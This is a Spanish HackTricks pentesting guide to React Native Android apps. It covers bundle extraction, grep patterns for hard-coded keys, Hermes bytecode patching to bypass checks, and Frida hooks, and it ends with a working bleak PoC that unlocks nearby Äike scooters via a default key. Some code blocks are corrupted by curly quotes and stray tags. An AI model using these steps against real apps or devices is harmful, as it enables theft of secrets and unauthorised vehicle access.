React Native Application Analysis
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Para confirmar si la aplicación fue construida con el framework React Native, sigue estos pasos:
-
Renombra el archivo APK con la extensión zip y extráelo a una nueva carpeta usando el comando
cp com.example.apk example-apk.zipyunzip -qq example-apk.zip -d ReactNative. -
Navega a la carpeta ReactNative recién creada y localiza la carpeta assets. Dentro de esta carpeta deberías encontrar el archivo
index.android.bundle, que contiene el JavaScript de React en formato minificado. -
Usa el comando
find . -print | grep -i ".bundle$"para buscar el archivo JavaScript.
Nota: Si te entregan un Android App Bundle (.aab) en lugar de un APK, genera primero un universal APK y luego extrae el bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Código JavaScript
Si inspeccionas el contenido de index.android.bundle encontrarás el JavaScript de la aplicación (incluso si está minificado), puedes analizarlo para encontrar información sensible y vulnerabilidades.
Dado que el bundle contiene realmente todo el código JS de la aplicación, es posible dividirlo en diferentes archivos (lo que potencialmente facilita su ingeniería inversa) usando la herramienta react-native-decompiler.
Webpack
Para analizar más a fondo el código JavaScript, puedes subir el archivo a https://spaceraccoon.github.io/webpack-exploder/ o seguir estos pasos:
- Crea un archivo llamado
index.htmlen el mismo directorio con el siguiente código:
<script src="./index.android.bundle"></script>
-
Abra el archivo
index.htmlen Google Chrome. -
Abra la Developer Toolbar presionando Command+Option+J para OS X o Control+Shift+J para Windows.
-
Haga clic en “Sources” en la Developer Toolbar. Debería ver un archivo JavaScript dividido en carpetas y archivos que conforman el main bundle.
Si encuentra un archivo llamado index.android.bundle.map, podrá analizar el código fuente en un formato no minificado. Los archivos map contienen source mapping, lo que le permite mapear identificadores minificados.
Para buscar credenciales sensibles y endpoints, siga estos pasos:
-
Identifique palabras clave sensibles para analizar el código JavaScript. Las aplicaciones React Native suelen usar servicios de terceros como Firebase, AWS S3 service endpoints, claves privadas, etc.
-
En este caso específico, se observó que la aplicación estaba usando el servicio Dialogflow. Busque un patrón relacionado con su configuración.
-
Tuvo suerte: durante el proceso de recon se encontraron credenciales sensibles hard-coded en el código JavaScript.
Búsqueda rápida de secrets/endpoint en bundles
Estos greps simples a menudo revelan indicadores interesantes incluso en JS minificado:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Si sospechas de frameworks de actualización Over-The-Air, busca también:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
Cambiar el código JS y reconstruir
En este caso, cambiar el código es sencillo. Solo necesitas renombrar la app para usar la extensión .zip y extraerla. Luego puedes modificar el código JS dentro de este bundle y reconstruir la app. Esto debería ser suficiente para permitirte inject code en la app con fines de prueba.
Hermes bytecode
Si el bundle contiene Hermes bytecode, no podrás acceder al Javascript code de la app (ni siquiera a la versión minificada).
Puedes comprobar si el bundle contiene Hermes bytecode ejecutando el siguiente comando:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Sin embargo, puedes usar las herramientas hbctool, forks actualizados de hbctool que soportan versiones más recientes de bytecode, hasmer, hermes_rs (biblioteca/API en Rust), o hermes-dec para disassemble the bytecode y también para decompile it to some pseudo JS code. Por ejemplo:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Tip: El proyecto Hermes de código abierto también incluye herramientas para desarrolladores como hbcdump en lanzamientos específicos de Hermes. Si construyes la versión de Hermes que coincide con la usada para producir el bundle, hbcdump puede volcar funciones, tablas de strings y bytecode para un análisis más profundo.
Cambiar código y recompilar (Hermes)
Idealmente deberías poder modificar el código desensamblado (cambiar una comparación, un valor o lo que necesites) y luego reconstruir el bytecode y recompilar la app.
- El original hbctool soporta desensamblar el bundle y reconstruirlo después de cambios, pero históricamente solo soportaba versiones antiguas de bytecode. Forks mantenidos por la comunidad extienden soporte a versiones más nuevas de Hermes (incluyendo mediados de 80s–96) y suelen ser la opción más práctica para parchear apps RN modernas.
- La herramienta hermes-dec no soporta reconstruir el bytecode (solo decompilador/desensamblador), pero es muy útil para navegar la lógica y volcar strings.
- La herramienta hasmer apunta a soportar tanto desensamblado como ensamblado para múltiples versiones de Hermes; el ensamblado todavía está madurando pero vale la pena intentarlo con bytecode reciente.
Un flujo de trabajo mínimo con ensambladores tipo hbctool:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Ten en cuenta que el formato de bytecode de Hermes está versionado y el assembler debe coincidir exactamente con el formato en disco. Si obtienes errores de formato, cambia a un fork/alternativa actualizada o recompila las herramientas de Hermes correspondientes.
Análisis dinámico
Una forma de analizar dinámicamente la app sería usar Frida para habilitar el developer mode de la app React y usar react-native-debugger para conectarte a ella. Sin embargo, para esto aparentemente necesitas el código fuente de la app. Puedes encontrar más información sobre esto en [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/].
Habilitar Dev Support en release con Frida (consideraciones)
Algunas apps accidentalmente incluyen clases que permiten alternar Dev Support. Si están presentes, puedes intentar forzar que getUseDeveloperSupport() devuelva true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Advertencia: en builds de release correctamente construidos, DevSupportManagerImpl y las clases relacionadas solo para debug se eliminan y cambiar esta bandera puede provocar que la app se bloquee o no tenga efecto. Cuando esto funciona, normalmente puedes exponer el menú de desarrollo y adjuntar depuradores/inspectores.
Intercepción de red en apps RN
React Native Android típicamente depende de OkHttp bajo el capó (vía el módulo nativo Networking). Para interceptar/observar tráfico en un dispositivo no rooteado durante pruebas dinámicas:
- Usa proxy del sistema + confiar en una CA de usuario o usa otras técnicas genéricas de bypass de TLS en Android.
- Consejo específico de RN: si la app incluye Flipper en release por error (herramientas de debug), el plugin Flipper Network puede exponer solicitudes/respuestas.
Para técnicas genéricas de interceptación en Android y bypass de pinning refiérese a:
Make APK Accept CA Certificate
Descubrimiento del protocolo GATT en tiempo de ejecución con Frida (compatible con Hermes)
Cuando el bytecode de Hermes bloquea la inspección estática sencilla del JS, engancha el stack BLE de Android en su lugar. android.bluetooth.BluetoothGatt y BluetoothGattCallback exponen todo lo que la app envía/recibe, permitiéndote revertir tramas propietarias de challenge-response y de comando sin el código fuente JS.
Frida GATT logger (UUID + volcados hex/ASCII)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` para fingerprint handshakes basados en hash y capturar la concatenación exacta de la entrada:
<details>
<summary>Frida MessageDigest tracer (algoritmo, entrada, salida)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Un flujo BLE real recuperado de esta manera:
- Leer el challenge desde
00002556-1212-efde-1523-785feabcd123. - Calcular
response = SHA1(challenge || key)donde la key era un valor por defecto de 20-byte 0xFF provisionado en todos los dispositivos. - Escribir la response en
00002557-1212-efde-1523-785feabcd123, luego emitir comandos en0000155f-1212-efde-1523-785feabcd123.
Una vez autenticado, los comandos eran tramas de 10 bytes hacia ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Ejemplos: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Las notificaciones llegaban a 0000155e-1212-efde-1523-785feabcd123 (registry de 2 bytes + payload), y los valores de registry podían ser consultados escribiendo el ID de registry en 00001564-1212-efde-1523-785feabcd123 y luego leyendo desde ...155f....
Con una key compartida/por defecto el challenge-response se colapsa. Cualquier atacante cercano puede calcular el digest y enviar comandos privilegiados. Un PoC mínimo con bleak:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Problemas recientes en librerías populares de RN (qué buscar)
Al auditar módulos de terceros visibles en el bundle JS o en librerías nativas, busca vulnerabilidades conocidas y verifica las versiones en `package.json`/`yarn.lock`.
- react-native-mmkv (Android): las versiones anteriores a 2.11.0 registraban la clave de cifrado opcional en los logs de Android. Si ADB/logcat está disponible, se podrían recuperar secretos. Asegúrate de tener >= 2.11.0. Indicadores: uso de `react-native-mmkv`, declaraciones de log que mencionen la inicialización de MMKV con cifrado. CVE-2024-21668.
- react-native-document-picker: las versiones < 9.1.1 eran vulnerables a path traversal en Android (selección de archivos), corregido en 9.1.1. Valida las entradas y la versión de la librería.
Comprobaciones rápidas:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Referencias
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

